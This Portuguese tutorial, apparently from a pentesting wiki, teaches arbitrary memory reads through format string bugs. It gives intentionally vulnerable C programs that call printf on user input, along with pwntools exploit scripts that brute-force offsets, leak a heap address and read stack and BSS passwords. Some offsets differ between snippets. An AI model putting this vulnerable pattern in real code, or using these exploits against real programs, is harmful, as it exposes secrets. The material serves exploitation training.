# Exemplo de Leitura Arbitrária - Strings de Formato
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## Iniciar Leitura Binária
### Código
```c
#include
int main(void) {
char buffer[30];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
return 0;
}
```
Compile com:
```python
clang -o fs-read fs-read.c -Wno-format-security -no-pie
```
### Exploração
```python
from pwn import *
p = process('./fs-read')
payload = f"%11$s|||||".encode()
payload += p64(0x00400000)
p.sendline(payload)
log.info(p.clean())
```
* O **deslocamento é 11** porque definir vários As e **forçar bruta** com um loop de deslocamentos de 0 a 50 descobriu que no deslocamento 11 e com 5 caracteres extras (pipes `|` no nosso caso), é possível controlar um endereço completo.
* Eu usei **`%11$p`** com preenchimento até que eu visse que o endereço estava todo 0x4141414141414141
* A **carga útil da string de formato está ANTES do endereço** porque o **printf para de ler em um byte nulo**, então se enviarmos o endereço e depois a string de formato, o printf nunca alcançará a string de formato, pois um byte nulo será encontrado antes.
* O endereço selecionado é 0x00400000 porque é onde o binário começa (sem PIE)
## Ler senhas
```c
#include
#include
char bss_password[20] = "hardcodedPassBSS"; // Password in BSS
int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];
printf("Enter first password: ");
scanf("%19s", input1);
printf("Enter second password: ");
scanf("%19s", input2);
// Vulnerable printf
printf(input1);
printf("\n");
// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}
return 0;
}
```
Compile com:
```bash
clang -o fs-read fs-read.c -Wno-format-security
```
### Ler a partir da pilha
A **`stack_password`** será armazenada na pilha porque é uma variável local, então apenas abusar do printf para mostrar o conteúdo da pilha é suficiente. Este é um exploit para BF as primeiras 100 posições para vazar as senhas da pilha:
```python
from pwn import *
for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()
```
Na imagem é possível ver que podemos vazar a senha da pilha na `10ª` posição:
### Ler dados
Executando o mesmo exploit, mas com `%p` em vez de `%s`, é possível vazar um endereço de heap da pilha em `%25$p`. Além disso, comparando o endereço vazado (`0xaaaab7030894`) com a posição da senha na memória nesse processo, podemos obter a diferença de endereços:
Agora é hora de descobrir como controlar 1 endereço na pilha para acessá-lo a partir da segunda vulnerabilidade de string de formato:
```python
from pwn import *
def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
for i in range(30):
p = process("./fs-read")
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
password_addr = heap_leak_addr - 0x126a
print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"
p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()
```
E é possível ver que no **try 14** com o uso da passagem utilizada podemos controlar um endereço:
### Explorar
```python
from pwn import *
p = process("./fs-read")
def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc
print(f"Calculated address is: {hex(password_addr)}")
# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)
p.sendline(payload)
output = p.clean()
print(output)
p.close()
```
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